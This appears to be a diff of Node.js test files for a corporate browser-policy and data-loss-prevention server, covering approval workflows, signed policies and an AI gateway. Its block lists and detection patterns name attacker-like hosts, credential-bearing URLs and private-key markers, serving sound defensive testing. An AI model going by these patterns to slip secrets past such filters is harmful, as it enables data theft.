test('history and restoration enforce read/write roles and never expose legacy personal bookmarks',async t=>{
|
||||
const f=await fixture(t),p=f.store.get('policy');p.browser.bookmarks.personal={revision:2,items:[{id:'private',title:'Private bookmark',url:'https://private.example/',folder:''}]};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(p));
|
||||
for(const role of ['operator','auditor']){assert.equal((await f.api('/api/admin/policy/history',null,role)).status,200);const item=await f.api('/api/admin/policy/history/1',null,role);assert.deepEqual(item.body.policy.browser.bookmarks.personal,{revision:0,items:[]});assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true},role)).status,403);}
|
||||
assert.equal(f.store.get('policy').version,1);
|
||||
});
|
||||
test('restore cannot collide historical company IDs with current device personal entries',async t=>{
|
||||
const f=await fixture(t),source=f.store.get('policy');source.browser.bookmarks.managed=[{id:'collision',title:'Company',url:'https://company.example/',folder:''}];f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(source));
|
||||
const p=f.store.get('policy');p.version=2;f.save(p);f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('test-device','Test','win32','user','hash');f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run('test-device',1,JSON.stringify([{id:'collision',title:'Private',url:'https://private.example/',folder:''}]));
|
||||
const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS count FROM policies').get().count,2);
|
||||
});
|
||||
test('diff limits size, preserves arrays and escapes JSON pointer paths',()=>{
|
||||
const result=policyDiff({'a/b':1,'x~y':1,list:[1]}, {'a/b':2,'x~y':2,list:[2]},2);assert.equal(result.truncated,true);assert.deepEqual(result.changes.map(c=>c.path),['/a~1b','/list']);assert.deepEqual(result.changes[1].after,[2]);
|
||||
assert.deepEqual(policyDiff({}, {new:1}).changes,[{path:'/new',kind:'added',after:1}]);
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
async function fixture(t){
|
||||
const dir=mkdtempSync(join(tmpdir(),'safetynet-review-')),store=openStore(dir),origin='http://127.0.0.1:4310';
|
||||
const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:true}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
async function api(path,method='GET',body,subject='author',role='admin'){
|
||||
const credential=`synthetic-review-session-${subject}-12345678901234567890`;
|
||||
store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role}));
|
||||
const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)});
|
||||
return {status:response.status,body:await response.json()};
|
||||
}
|
||||
function candidate(){const p=store.get('policy');p.version++;p.brand.name='Reviewed Brand';return p;}
|
||||
async function approve(r,subject='reviewer',role='admin'){return api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},subject,role);}
|
||||
return {dir,store,api,candidate,approve};
|
||||
}
|
||||
test('mandatory independent approval prevents self approval, operator publication, tampering and duplicate release',async t=>{
|
||||
const f=await fixture(t),p=f.candidate(),queued=await f.api('/api/admin/policy','PUT',p,'operator','operator');
|
||||
assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,1);
|
||||
assert.equal((await f.approve(queued.body,'operator','admin')).status,403);
|
||||
assert.equal((await f.approve(queued.body,'reviewer','operator')).status,403);
|
||||
assert.equal((await f.approve({...queued.body,payloadHash:'0'.repeat(64)})).status,409);
|
||||
const approved=await f.approve(queued.body);assert.equal(approved.status,200);assert.equal(f.store.get('policy').brand.name,'Reviewed Brand');
|
||||
assert.equal((await f.approve(queued.body)).status,409);
|
||||
const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.review-approved'").get().metadata);assert.equal(audit.author,'operator');assert.equal(audit.actor,'reviewer');assert.equal(JSON.stringify(audit).includes('Reviewed Brand'),false);
|
||||
});
|
||||
test('queue persists, presents exact diff and hash, rejects stale CAS and supports independent rejection',async t=>{
|
||||
const f=await fixture(t),first=(await f.api('/api/admin/policy-reviews','POST',{policy:f.candidate()})).body;
|
||||
const second=(await f.api('/api/admin/policy','PUT',f.candidate())).body;
|
||||
const detail=await f.api(`/api/admin/policy-reviews/${first.reviewId}`);assert.ok(detail.body.diff.changes.some(c=>c.path==='/brand/name'));assert.equal(detail.body.payloadHash,first.payloadHash);
|
||||
const secondConnection=openStore(f.dir);assert.equal(secondConnection.db.prepare('SELECT payload_hash FROM policy_reviews WHERE id=?').get(first.reviewId).payload_hash,first.payloadHash);secondConnection.db.close();
|
||||
assert.equal((await f.approve(first)).status,200);assert.equal((await f.approve(second)).status,409);
|
||||
const list=await f.api('/api/admin/policy-reviews');assert.equal(list.body.reviews.find(r=>r.id===second.reviewId).status,'stale');
|
||||
const third=(await f.api('/api/admin/policy','PUT',f.candidate())).body;
|
||||
assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true})).status,403);
|
||||
assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true},'reviewer')).status,200);
|
||||
assert.equal((await f.approve(third)).status,409);assert.equal(f.store.get('policy').version,2);
|
||||
});
|
||||
test('all alternate publication paths queue and device and teaching effects wait for reviewer',async t=>{
|
||||
const f=await fixture(t);
|
||||
f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash');
|
||||
let queued=await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,null);
|
||||
assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,0);
|
||||
queued=await f.api('/api/admin/security/blocklists','PUT',{expectedVersion:2,blockedHosts:['blocked.example'],blockedIPs:[]},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').security.dns.blockedHosts.includes('blocked.example'),false);assert.equal((await f.approve(queued.body)).status,200);
|
||||
queued=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:3,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,3);assert.equal((await f.approve(queued.body)).status,200);
|
||||
f.store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('teaching',new Date().toISOString(),'author','Sensitive','draft',JSON.stringify({registrationReady:true,sha256:'a'.repeat(64),fragmentHashes:[]}),null,null);
|
||||
queued=await f.api('/api/admin/teaching/teaching/publish','POST',{expectedVersion:4,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT status FROM teaching').get().status,'draft');assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT reviewer FROM teaching').get().reviewer,'reviewer');
|
||||
});
|
||||
test('durable candidate corruption and changing device state fail closed atomically',async t=>{
|
||||
const f=await fixture(t),queued=(await f.api('/api/admin/policy','PUT',f.candidate())).body;
|
||||
const policy=f.candidate();policy.brand.name='Tampered';f.store.db.prepare('UPDATE policy_reviews SET policy=? WHERE id=?').run(JSON.stringify(policy),queued.reviewId);
|
||||
assert.equal((await f.approve(queued)).status,409);assert.equal(f.store.get('policy').version,1);
|
||||
f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash');
|
||||
const device=(await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false})).body;f.store.db.prepare('UPDATE devices SET revoked=1').run();assert.equal((await f.approve(device)).status,409);assert.equal(f.store.get('policy').version,1);
|
||||
});
|
||||
@@ -0,0 +1,37 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { generateKeyPairSync, createHash } from 'node:crypto';
|
||||
import {defaultPolicy,PolicySchema,signPolicy,verifyPolicy,inspect,destinationAllowed,hostMatches} from '../packages/core/policy.mjs';
|
||||
test('signed policies reject tampering, rollback and expiry',()=>{
|
||||
const keys=generateKeyPairSync('ed25519');const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});
|
||||
const p=defaultPolicy(),envelope=signPolicy(p,privateKey);assert.deepEqual(verifyPolicy(envelope,publicKey),p);
|
||||
assert.throws(()=>verifyPolicy({...envelope,payload:envelope.payload+'A'},publicKey),/signature/);
|
||||
assert.throws(()=>verifyPolicy(envelope,publicKey,2),/rollback/);
|
||||
p.expiresAt=new Date(0).toISOString();assert.throws(()=>verifyPolicy(signPolicy(p,privateKey),publicKey),/expired/);
|
||||
});
|
||||
test('hostname policies resist suffix confusion and enforce block precedence',()=>{
|
||||
assert.equal(hostMatches('a.corp.example','*.corp.example'),true);assert.equal(hostMatches('corp.example','*.corp.example'),false);
|
||||
assert.equal(hostMatches('evilcorp.example','*.corp.example'),false);
|
||||
const p=defaultPolicy();p.browser.allowedHosts=['*.corp.example'];p.browser.blockedHosts=['blocked.corp.example'];
|
||||
assert.equal(destinationAllowed('https://ok.corp.example/',p),true);assert.equal(destinationAllowed('https://blocked.corp.example/',p),false);
|
||||
assert.equal(destinationAllowed('https://ok.corp.example.evil.test/',p),false);assert.equal(destinationAllowed('file:///secret',p),false);
|
||||
assert.equal(destinationAllowed('https://user:[email protected]/',p),false);
|
||||
});
|
||||
test('DLP blocks credentials, encoded phrases, binary and oversized payloads',()=>{
|
||||
const p=defaultPolicy();p.dlp.rules=[{id:'project',label:'Secret project',kind:'literal',value:'Project Orion',action:'block'}];
|
||||
for(const input of ['Project Orion','project%20orion','prompt=project+orion','{"prompt":"Project \\u004frion"}'])assert.equal(inspect(Buffer.from(input),p).decision,'block');
|
||||
assert.equal(inspect(Buffer.from('-----BEGIN PRIVATE KEY-----'),p).ruleId,'private-key');
|
||||
assert.equal(inspect(Buffer.from([255,254]),p).ruleId,'uninspectable');
|
||||
assert.equal(inspect(Buffer.from('a\0b'),p).ruleId,'uninspectable');
|
||||
assert.equal(inspect(Buffer.alloc(p.dlp.maxBytes+1),p).ruleId,'size-limit');
|
||||
assert.equal(inspect(Buffer.from('Public information'),p).decision,'allow');
|
||||
});
|
||||
test('exact fingerprints detect registered bytes',()=>{
|
||||
const p=defaultPolicy(),data=Buffer.from('confidential sample');p.dlp.rules=[{id:'file',label:'Reference',kind:'sha256',value:createHash('sha256').update(data).digest('hex'),action:'block'}];
|
||||
assert.equal(inspect(data,p).ruleId,'file');assert.equal(inspect(Buffer.from('different sample'),p).decision,'allow');
|
||||
});
|
||||
test('invalid proxy, duplicate IDs and unsafe home schemes are rejected',()=>{
|
||||
const p=defaultPolicy();p.proxy={mode:'pac_script',pacUrl:'http://example.com/pac'};assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
p.proxy={mode:'system'};p.browser.homeUrl='file:///secret';assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
p.browser.homeUrl='https://example.com';const r={id:'duplicate',label:'Secret',kind:'literal',value:'x',action:'block'};p.dlp.rules=[r,r];assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
});
|
||||
@@ -0,0 +1,96 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { defaultPolicy,PolicySchema,destinationAllowed,inspect,inspectForAI,fragmentHashes,verifyPolicy } from '../packages/core/policy.mjs';
|
||||
import { dnsAddressBlocked,evaluateSigma,VisualOriginSchema } from '../packages/core/security.mjs';
|
||||
import { createApp } from '../apps/server/app.mjs';
|
||||
import { openStore } from '../apps/server/store.mjs';
|
||||
import { mkdtempSync,rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { createServer } from 'node:http';
|
||||
import { randomUUID } from 'node:crypto';
|
||||
import { deflateSync } from 'node:zlib';
|
||||
test('security defaults deny agent access and DNS/content policies enforce centrally',()=>{
|
||||
const p=defaultPolicy();assert.equal(p.agents.enabled,false);p.security.dns.blockedHosts=['*.evil.test'];p.security.dns.blockedIPs=['2001:db8::1'];p.security.content.blockedPhrases=['restricted roadmap'];
|
||||
assert.equal(destinationAllowed('https://child.evil.test',p),false);assert.equal(destinationAllowed('https://evil.test.example',p),true);assert.equal(dnsAddressBlocked('2001:0db8:0:0:0:0:0:1',p),true);assert.equal(inspect(Buffer.from('Restricted Roadmap'),p).decision,'block');
|
||||
p.security.dns.blockedIPs=['not-an-address'];assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
});
|
||||
test('password manager defaults and idle bounds reject insecure or unknown settings',()=>{
|
||||
const p=defaultPolicy();assert.deepEqual(p.passwordManager,{enabled:true,allowSaving:true,allowAutofill:true,idleLockSeconds:300});p.passwordManager.idleLockSeconds=59;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=901;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=60;p.passwordManager.password='secret';assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
});
|
||||
test('visual references require explicit valid brands and canonical exact domain origins',()=>{
|
||||
const p=defaultPolicy();assert.equal(p.security.visualPhishing.enabled,false);p.security.visualPhishing.enabled=true;assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
for(const origin of ['http://login.example','https://*.example','https://login.example/','https://login.example?x=1','https://alice:[email protected]','https://127.0.0.1','https://[::1]','https://login.example.','https://bücher.example'])assert.equal(VisualOriginSchema.safeParse(origin).success,false,origin);
|
||||
assert.equal(VisualOriginSchema.safeParse('https://xn--bcher-kva.example').success,true);assert.equal(VisualOriginSchema.safeParse('https://login.example:8443').success,true);
|
||||
p.security.visualPhishing.brands=[{id:'brand',label:'Brand',allowedOrigins:['https://login.example'],references:[{hash:'a'.repeat(16),algorithm:'phash-dct32-v1',scope:'login-form',viewport:{width:64,height:64}}]}];assert.equal(PolicySchema.safeParse(p).success,true);p.security.visualPhishing.brands[0].references[0].hash='A'.repeat(16);assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
});
|
||||
function referencePNG(flat=false){
|
||||
const crc=bytes=>{let value=0xffffffff;for(const byte of bytes){value^=byte;for(let n=0;n<8;n++)value=(value>>>1)^((value&1)?0xedb88320:0);}return(value^0xffffffff)>>>0;};
|
||||
const chunk=(kind,data)=>{const type=Buffer.from(kind),length=Buffer.alloc(4),sum=Buffer.alloc(4);length.writeUInt32BE(data.length);sum.writeUInt32BE(crc(Buffer.concat([type,data])));return Buffer.concat([length,type,data,sum]);};
|
||||
const width=64,height=64,header=Buffer.alloc(13);header.writeUInt32BE(width);header.writeUInt32BE(height,4);header[8]=8;header[9]=6;const rows=Buffer.alloc(height*(1+width*4));for(let y=0;y<height;y++)for(let x=0;x<width;x++){const i=y*(1+width*4)+1+x*4;rows[i]=flat?255:(x*4)%256;rows[i+1]=flat?255:(y*4)%256;rows[i+2]=flat?255:((x+y)*2)%256;rows[i+3]=255;}return Buffer.concat([Buffer.from([137,80,78,71,13,10,26,10]),chunk('IHDR',header),chunk('IDAT',deflateSync(rows)),chunk('IEND',Buffer.alloc(0))]);
|
||||
}
|
||||
test('visual reference derivation requires admin approval to publish and never persists image pixels',async t=>{
|
||||
const dir=mkdtempSync(join(tmpdir(),'security-visual-')),store=openStore(dir),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
const base=`http://127.0.0.1:${server.address().port}`,data=referencePNG().toString('base64'),body={expectedVersion:1,brandId:'corporate-login',label:'Corporate login',allowedOrigins:['https://login.example'],data,scope:'login-form'};
|
||||
const derive=(b,token=adminToken)=>fetch(base+'/api/admin/security/visual-reference',{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(b)});
|
||||
assert.equal((await derive(body,'unauthorized')).status,401);assert.equal((await derive({...body,allowedOrigins:['https://*.example']})).status,400);assert.equal((await derive({...body,data:referencePNG(true).toString('base64')})).status,400);const response=await derive(body);assert.equal(response.status,200);const result=await response.json();assert.match(result.brand.references[0].hash,/^[a-f0-9]{16}$/);assert.deepEqual(result.brand.references[0].viewport,{width:64,height:64});assert.equal(result.quality.contrast>10,true);assert.equal(store.get('policy').version,1);assert.deepEqual(store.get('policy').security.visualPhishing.brands,[]);
|
||||
const values=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(values.includes(data),false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0);
|
||||
const policy=store.get('policy');policy.version=2;policy.security.visualPhishing={enabled:true,failClosed:true,brands:[result.brand]};const published=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(policy)});assert.equal(published.status,200);assert.equal(store.get('policy').security.visualPhishing.brands[0].id,'corporate-login');
|
||||
});
|
||||
test('fragment fingerprints catch partial document excerpts across capitalization',()=>{
|
||||
const source='The secret engineering roadmap describes eight amazing new confidential customer features tomorrow';const value=[...fragmentHashes(source)][1];const p=defaultPolicy();p.dlp.rules=[{id:'excerpt',label:'Private',kind:'fragment-sha256',value,action:'block'}];
|
||||
assert.equal(inspect(Buffer.from(source.toUpperCase()+' additional public text'),p).decision,'block');assert.equal(inspect(Buffer.from('unrelated public information'),p).decision,'allow');
|
||||
});
|
||||
test('confidential local AI override preserves ordinary DLP and never permits credentials',()=>{
|
||||
const p=defaultPolicy();p.ai={...p.ai,enabled:true,allowConfidentialLocal:true,trustMode:'external'};p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];const content=Buffer.from('confidential roadmap');assert.equal(inspectForAI(content,p).decision,'block');p.ai.trustMode='local';assert.deepEqual(inspectForAI(content,p),{decision:'allow',ruleId:'company-roadmap',classification:'local-only'});assert.equal(inspect(content,p).decision,'block');assert.equal(inspectForAI(Buffer.from('confidential roadmap -----BEGIN PRIVATE KEY-----'),p).ruleId,'private-key');p.security.content.blockedPhrases=['confidential roadmap'];assert.equal(inspectForAI(content,p).decision,'block');
|
||||
});
|
||||
test('restricted Sigma rejects unsupported syntax and matches metadata only',()=>{
|
||||
const p=defaultPolicy();const rule={id:'block-alert',title:'Blocked upload',level:'high',detection:{selection:{kind:'dlp.block',ruleId:'secret'},condition:'selection'}};p.security.sigma.rules=[rule];assert.equal(PolicySchema.safeParse(p).success,true);
|
||||
assert.equal(evaluateSigma({kind:'dlp.block',metadata:{ruleId:'secret',prompt:'not inspected'}},[rule]).length,1);rule.detection.selection={};assert.equal(PolicySchema.safeParse(p).success,false);rule.detection.condition='selection or all of them';assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
});
|
||||
test('authenticated blocklist publishing versions signed policy and teaching requires approval',async t=>{
|
||||
const dir=mkdtempSync(join(tmpdir(),'security-')),store=openStore(dir),adminToken='unit-test-secure-admin-token-at-least-32-chars';const app=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false});const server=app.listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));const base=`http://127.0.0.1:${server.address().port}`;
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
const update=(body,authorized=true)=>fetch(base+'/api/admin/security/blocklists',{method:'PUT',headers:{'content-type':'application/json',...(authorized?{authorization:`Bearer ${adminToken}`}:{})},body:JSON.stringify(body)});
|
||||
const body={expectedVersion:1,blockedHosts:['bad.test'],blockedIPs:['127.0.0.2']};assert.equal((await update(body,false)).status,401);assert.equal((await update({...body,blockedIPs:['bad']})).status,400);assert.equal((await update(body)).status,200);assert.equal(store.get('policy').version,2);assert.equal((await update(body)).status,409);
|
||||
store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('draft','now','owner','Secret','draft',JSON.stringify({sha256:'a'.repeat(64),fragmentHashes:[],registrationReady:true}),null,null);
|
||||
const promote=b=>fetch(base+'/api/admin/teaching/draft/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)});
|
||||
assert.equal((await promote({expectedVersion:2,approve:false})).status,400);assert.equal((await promote({expectedVersion:2,approve:true})).status,200);assert.equal(store.get('policy').dlp.rules[0].value,'a'.repeat(64));assert.equal((await promote({expectedVersion:3,approve:true})).status,404);
|
||||
store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('partial','now','owner','Office partial','draft',JSON.stringify({sha256:'b'.repeat(64),fragmentHashes:['c'.repeat(64)],registrationReady:false,coverage:{complete:false}}),null,null);
|
||||
const partial=b=>fetch(base+'/api/admin/teaching/partial/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)});
|
||||
assert.equal((await partial({expectedVersion:3,approve:true})).status,409);const promoted=await partial({expectedVersion:3,approve:true,mode:'available-fingerprints'});assert.equal(promoted.status,200);assert.equal((await promoted.json()).coverage,'partial');const final=store.get('policy');assert.equal(final.dlp.rules.length,3);assert.equal(final.dlp.rules[0].value,'a'.repeat(64));assert.equal(final.dlp.rules[2].kind,'fragment-sha256');assert.equal(store.db.prepare("SELECT metadata FROM events WHERE kind='teaching.approved' ORDER BY id DESC LIMIT 1").get().metadata.includes('partial'),true);
|
||||
});
|
||||
test('existing old policy settings normalize missing security fields without data loss',()=>{
|
||||
const dir=mkdtempSync(join(tmpdir(),'security-upgrade-')),store=openStore(dir);try{const old=defaultPolicy();delete old.security;delete old.agents;old.ai={enabled:false,model:''};store.put('policy',old);const updated=store.get('policy');assert.equal(updated.agents.enabled,false);assert.deepEqual(updated.security.dns.blockedHosts,[]);assert.equal(updated.version,old.version);assert.equal(updated.ai.provider,'openai-compatible');}finally{store.db.close();rmSync(dir,{recursive:true,force:true});}
|
||||
});
|
||||
test('per-browser signed manual scan controls preserve mandatory protection and training stores derived metadata only',async t=>{
|
||||
const raw='confidential full document sentinel must not persist',data=Buffer.from(raw).toString('base64');const inspector=createServer((req,res)=>{assert.equal(req.url,'/reference-document');assert.equal(req.headers.authorization,'Bearer private-inspector-test-token');res.setHeader('content-type','application/json');res.end(JSON.stringify({sha256:'d'.repeat(64),bytes:raw.length,contentType:'text',fragmentHashes:['e'.repeat(64)],registrationReady:true,coverage:{complete:true,textCharacters:raw.length,rawText:raw,fragmentHashesTotal:1010,fragmentHashesRetained:1000,fragmentHashesTruncated:true,extractionComplete:true,featuresComplete:false},data,text:raw}));});inspector.listen(0,'127.0.0.1');await new Promise(r=>inspector.on('listening',r));
|
||||
const dir=mkdtempSync(join(tmpdir(),'security-manual-')),store=openStore(dir),adminToken='administrator-credential-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${inspector.address().port}`,inspectorToken:'private-inspector-test-token'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));
|
||||
t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>inspector.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
const base=`http://127.0.0.1:${server.address().port}`;async function api(path,body,method=body?'POST':'GET',credential=adminToken){return fetch(base+path,{method,headers:{authorization:`Bearer ${credential}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});}
|
||||
const enrollment=async name=>{const code=(await(await api('/api/admin/enrollments',{user:name})).json()).code;return(await api('/api/device/enroll',{code,name,platform:'win32'})).json();};const a=await enrollment('A'),b=await enrollment('B');assert.equal(verifyPolicy(a.policy,a.publicKey).inspection.documentAnalysisEnabled,true);
|
||||
const setting={expectedVersion:1,documentAnalysisEnabled:false};assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH',a.token)).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,200);
|
||||
const pa=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',a.token)).json(),a.publicKey),pb=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',b.token)).json(),b.publicKey);assert.equal(pa.version,2);assert.equal(pa.inspection.documentAnalysisEnabled,false);assert.equal(pb.inspection.documentAnalysisEnabled,true);assert.equal(pa.dlp.blockUninspectable,true);assert.deepEqual(pa.security.yara,pb.security.yara);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,409);
|
||||
const response=await api('/api/admin/teaching',{label:'Reference',filename:'reference.txt',data});assert.equal(response.status,200);const stored=store.db.prepare('SELECT reference FROM teaching').get().reference;assert.equal(stored.includes(raw),false);assert.equal(stored.includes(data),false);assert.equal(stored.includes('rawText'),false);assert.equal(stored.includes('sha256'),true);const coverage=JSON.parse(stored).coverage;assert.equal(coverage.fragmentHashesTotal,1010);assert.equal(coverage.fragmentHashesRetained,1000);assert.equal(coverage.fragmentHashesTruncated,true);assert.equal(coverage.extractionComplete,true);assert.equal(coverage.featuresComplete,false);assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(e=>e.metadata.includes(raw)||e.metadata.includes(data)),false);
|
||||
});
|
||||
test('local Ollama needs no API key, blocks secrets before provider, and Sigma alerts exclude raw content',async t=>{
|
||||
let calls=0;const model=createServer((req,res)=>{calls++;assert.equal(req.url,'/api/chat');assert.equal(req.headers.authorization,undefined);res.setHeader('content-type','application/json');res.end(JSON.stringify({message:{content:'Local answer'}}));});model.listen(0,'127.0.0.1');await new Promise(r=>model.on('listening',r));
|
||||
const dir=mkdtempSync(join(tmpdir(),'security-ai-')),store=openStore(dir),p=defaultPolicy();p.ai={enabled:true,model:'local-model',provider:'ollama',trustMode:'local',endpointId:'default'};p.security.sigma.rules=[{id:'agent-denials',title:'Agent blocked',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p);
|
||||
const token='enrolled-device-test-credential';const {digest}=await import('../apps/server/store.mjs');store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('device','Test','win32','alice',digest(token),'now');
|
||||
const config={adminToken:'administrator-token-at-least-thirty-two-characters',publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:`http://127.0.0.1:${model.address().port}`,aiModel:'local-model'};const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));
|
||||
t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>model.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
const send=(path,body)=>fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)});
|
||||
const answer=await send('/api/device/ai',{prompt:'Hello local model'});assert.equal(answer.status,200);assert.equal((await answer.json()).answer,'Local answer');assert.equal(calls,1);
|
||||
assert.equal((await send('/api/device/ai',{prompt:'-----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,1);
|
||||
p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,403);assert.equal(calls,1);
|
||||
p.ai.allowConfidentialLocal=true;store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,200);assert.equal(calls,2);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap -----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,2);
|
||||
const allowed=store.db.prepare("SELECT metadata FROM events WHERE kind='ai.decision' ORDER BY id DESC").all().map(v=>JSON.parse(v.metadata)).find(v=>v.classification==='local-only');assert.equal(allowed.ruleId,'company-roadmap');assert.equal(allowed.decision,'allow');
|
||||
config.aiBaseUrl='http://192.0.2.1';assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,500);assert.equal(calls,2);
|
||||
assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'agent.denied',ruleId:'agent:read:blocked',policyVersion:1})).status,200);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1);
|
||||
for(const extra of [{username:'alice'},{password:'private'},{credentialId:'identifier'},{host:'login.example'},{ruleId:'credential-id'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'vault.fill-requested',policyVersion:1,...extra})).status,400);
|
||||
